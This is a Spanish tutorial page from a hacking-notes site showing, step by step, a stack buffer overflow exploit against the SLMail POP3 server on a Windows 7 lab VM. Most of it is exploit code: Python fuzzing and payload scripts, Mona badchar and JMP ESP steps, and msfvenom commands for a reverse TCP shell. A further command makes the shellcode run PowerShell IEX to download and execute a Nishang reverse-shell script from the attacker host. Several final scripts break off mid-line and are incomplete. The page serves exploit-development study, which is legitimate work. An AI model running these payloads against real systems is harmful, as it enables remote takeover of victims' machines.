> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/windows-buffer-overflow-slmail.md).
# Desbordamiento de búfer en Windows - SLMail
Instalación del entorno para desbordamiento de búfer
1. Descarga la máquina [Windows 7 Basic de 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Dentro de la máquina, descarga el [depurador ](https://www.immunityinc.com/products/debugger/):
3. Una vez instalado, ejecuta el siguiente comando en la terminal:
```bash
bcdedit.exe /set {current} nx AlwaysOff
```
4. Copia esto [script ](https://www.immunityinc.com/products/debugger/)en un archivo a.py:
5. Pega el script en `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Finalmente, instala [slmail](https://slmail.software.informer.com/download/):
## Fase inicial de fuzzing y control del registro EIP:
{% hint style="success" %}
Durante la fase inicial de explotación de un desbordamiento de búfer, los primeros pasos consisten en determinar los límites del programa. Esto se logra probando la introducción de caracteres adicionales en varios campos de entrada del programa, como cadenas de texto o archivos, hasta que se detecta una alteración o un fallo de la aplicación. Una vez identificado el límite del campo de entrada, el siguiente paso consiste en descubrir el offset (desplazamiento), que representa la cantidad exacta de caracteres necesarios para provocar una alteración en el programa y también sobrescribir el valor del registro EIP (Extended Instruction Pointer). Este registro, que apunta a la dirección de memoria de la siguiente instrucción que se ejecutará, es crucial. En una explotación exitosa del desbordamiento de búfer, su valor se reemplaza por una dirección controlada por el atacante, permitiendo la ejecución de código malicioso. Así, el objetivo al determinar el offset es especificar la cantidad exacta de caracteres que se deben introducir para sobrescribir el valor del registro EIP, apuntando así a la dirección de memoria controlada por el atacante. Con esta información, puedes diseñar un exploit personal para el programa objetivo, controlando también el registro EIP y permitiendo la ejecución de código malicioso.
{% endhint %}
* En Immunity Debugger, seleccionamos SL mail:
* Ahora crearemos un script en Python que automatizará el descubrimiento de la cantidad de octetos necesarios para provocar un fallo del programa.
```python
#!/usr/bin/python3
import socket
import sys
if len(sys.argv) != 2:
print("/n[!] Uso: exploit.py ")
exit(1)
ip_address = "192.168.71.139"
port = 110
total_length = int(sys.argv[1])
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + b"A"*total_length + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
Como estamos en Windows, usaremos una herramienta de Metasploit.
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
```
Ejemplo con 5000 caracteres:
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
* El servicio se bloqueó, pero lo que nos interesa es el valor de EIP:
* Con el siguiente script, también de Metasploit, le pasamos esto, el EIP, y calcula el número máximo de caracteres posibles del búfer: `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb`
* Así que, una vez que conocemos el offset, el siguiente script inyectará 4 caracteres B para ver si funciona o no:
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A"* offset
eip = b"B"*4
payload = before_eip + eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
\*Vemos que el EIP corresponde a la letra B cuatro veces (42424242):
## Asignación de espacio para shellcode:
{% hint style="success" %}
Una vez encontrado el offset y sobrescrito el valor del registro EIP durante un desbordamiento de búfer, el siguiente proceso consiste en localizar en la memoria la representación de los caracteres introducidos en el campo de entrada. Tras esta alteración del registro EIP, los caracteres adicionales introducidos en el campo de entrada se identifican al inicio de la pila en el registro ESP (Extended Stack Pointer), como se observa a través de Immunity Debugger. ESP, un registro de la CPU, administra la pila en un programa, una zona de memoria temporal que almacena los valores y las direcciones para devolver las funciones. El siguiente paso consiste en la inyección de un shellcode, las instrucciones de bajo nivel correspondientes a una acción maliciosa, en el lugar donde se identifica. El shellcode se coloca en la pila en la dirección donde están los caracteres alterados, explotando también el desbordamiento de búfer para ejecutar el código malicioso y tomar el control del sistema. Es crucial diseñar el shellcode con precauciones para evitar toda detección maliciosa, garantizando la compatibilidad con la arquitectura de la CPU y el sistema de explotación objetivo. En resumen, la asignación de espacio para el shellcode requiere la identificación precisa de la ubicación en memoria de los demás caracteres en el desbordamiento de búfer, seguida de una inyección estratégica del shellcode malicioso. Sin embargo, el diseño del shellcode debe tener en cuenta la detección de caracteres no deseados (badchars), y en el siguiente paso hablaremos de cómo detectarlos y generar shellcode libre de estos elementos.
{% endhint %}
Ahora, con el siguiente script, veremos qué ocurre si no creamos un desbordamiento de búfer después de EIP o si todo el contenido está en la pila:
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A"* offset
eip = b"B"*4
after_eip = b"C"*200
payload = before_eip + eip + after_eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
Si miramos más información a la izquierda con follow in dump:
## Generación de bytearrays y detección de badchars:
{% hint style="success" %}
Al crear shellcode malicioso para explotar el desbordamiento de búfer, es posible que el programa objetivo no pueda interpretar bytes específicos, conocidos como badchars. Estos bytes pueden romper el shellcode o provocar que el programa se bloquee inesperadamente. Para evitarlo, identifica y elimina los badchars antes de generar la carga útil final. Con Immunity Debugger y Mona, genera un bytearray completo, envíalo a través del búfer vulnerable y compara los bytes que llegan a ESP. Cualquier byte que falte o haya sido alterado debe excluirse del shellcode final.
{% endhint %}
\*Usamos el siguiente comando para crear una carpeta de trabajo con Mona en el escritorio:
* Con el siguiente comando, se crean los archivos:
```
!mona bytearray -cpb '/x00'
```
* Para transferir los archivos, podemos crear un servidor SMB con el siguiente comando:
impacket-smbserver smbFolder $(pwd) -smb2support
* En el Explorador de archivos introducimos la dirección IP y pegamos el archivo bytearray creado:
* Ahora esta cadena debe pegarse en el script (añadiendo una 'b' a cada línea para indicar que está en modo byte):
* Script de Python:
```python
#!/usr/bin/python3
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = b"B" * 4
after_eip = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")
payload = before_eip + eip + after_eip
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_address, port))
banner = s.recv(1024)
s.send(b"USER jordan" + b'/r/n')
response = s.recv(1024)
s.send(b"PASS " + payload + b' /r/n')
s.close()
if __name__ == '__main__':
exploit()
```
* Realizamos un seguimiento en el volcado de ESP:
* Allí podemos ver los caracteres no deseados (que no puede interpretar):
Ahora mostramos el siguiente comando con el número de ESP (precedido por 0x y la comparación con bytearray.bion) para ver los caracteres que pueden interpretarse correctamente:
!mona compare -a 0x00E8A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
* Con este comando indicamos no eliminar los caracteres no deseados del archivo bytearray:
```
!mona bytearray -cpb '/x00/x0a'
```
* Lo repetimos y detecta nuevos caracteres no deseados:
!mona compare -a 0x0210A128 -f C:/Users/Jordan/Desktop/Analysis/bytearray.bin
\*Y actualizamos de nuevo el bytearray:
```
!mona bytearray -cpb '/x00/x0a/x0d'
```
* Si lo hacemos de nuevo, ya no aparece ningún error:
## Búsqueda de OpCodes para acceder a ESP y cargar nuestro shellcode:
{% hint style="success" %}
Después de generar el shellcode e identificar los badchars, redirige el flujo de ejecución al shellcode. El objetivo es sobrescribir EIP con una dirección de memoria que contenga una `JMP ESP` instrucción, porque el shellcode reside en ESP y EIP no puede apuntarle directamente de forma fiable. Usa herramientas como `mona.py` para buscar en los módulos cargados un `JMP ESP` opcode utilizable. Una vez encontrada la dirección, colócala en EIP para que la ejecución salte a ESP y ejecute el shellcode.
{% endhint %}
* El siguiente comando genera un shellcode de Windows x86, usando una conexión TCP inversa a la dirección IP 192.168.71.128 en el puerto 443, con una codificación shikata/\_ga/\_nai y excluyendo badchars.
```css
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* Ahora, con el **!mona modules** comando, buscaremos un módulo sin protección cuyo valor sea falso:
* Buscamos un jmp esp, que se traduciría como "/xFF/xE4":
* Con el siguiente comando debemos elegir uno de estos módulos sin protección y sin Bad char:
* En este caso elegimos el último, que es "0x5f4c4d13". Crearemos un punto de interrupción para comprobar si el flujo del programa pasa por él correctamente:
* Con este script lograremos cambiar el EIP por el que nos interesa:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
* Ahora, si seguimos el volcado de ESP, el shellcode se representaría:
## Uso de NOPs, ubicaciones en la pila e interpretación del shellcode para obtener un RCE (ejecución remota de código).
* No nos lo interpreta:
* Ahora modifiquemos el script añadiendo este NOP de la siguiente manera:
* Script final:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
## Modificación del shellcode para controlar el comando que puedes ejecutar:
{% hint style="success" %}
Además de las cargas útiles de reverse shell, el `windows/exec` payload puede incrustar un comando directamente mediante la `CMD` opción. Esto crea un shellcode que ejecuta el comando elegido cuando se ejecuta. Genéralo con `msfvenom -p windows/exec CMD=""`, y luego usa la misma técnica de desbordamiento de búfer para sobrescribir EIP y redirigir la ejecución al shellcode.
{% endhint %}
* Descarga esto [script ](https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1)y nómbralo PS.ps1
Añade esto al final del script: `PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.71.128 -Port 443`
* Genera el shellcode:
```bash
msfvenom -p windows/exec CMD="powershell IEX(New-Object Net.WebClient).downloadString('http://192.168.71.128/PS.ps1')" --platform windows -a x86 -f c -e x86/shikata_ga_nai -b '/x00/x0a/x0d' EXITFUNC=thread
```
* Script actualizado:
```python
#!/usr/bin/python3
from struct import pack
import socket
import sys
ip_address = "192.168.71.139"
port = 110
offset = 4654
before_eip = b"A" * offset
eip = pack("
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/es/useful-resources/exploit-development/windows-buffer-overflow-slmail.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.